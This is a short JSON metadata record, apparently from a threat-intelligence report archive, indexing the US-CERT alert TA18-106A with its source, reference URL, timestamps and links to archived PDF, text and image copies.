	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.us-cert.gov/ncas/alerts/TA18-106A"
	],
	"report_names": [
		"TA18-106A"
	],
	"threat_actors": [],
	"ts_created_at": 1775441569,
	"ts_updated_at": 1775826778,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/15c5ce8e7d347facf0151a59bb5322604c747594.pdf",
		"text": "https://archive.orkl.eu/15c5ce8e7d347facf0151a59bb5322604c747594.txt",
		"img": "https://archive.orkl.eu/15c5ce8e7d347facf0151a59bb5322604c747594.jpg"
	}
}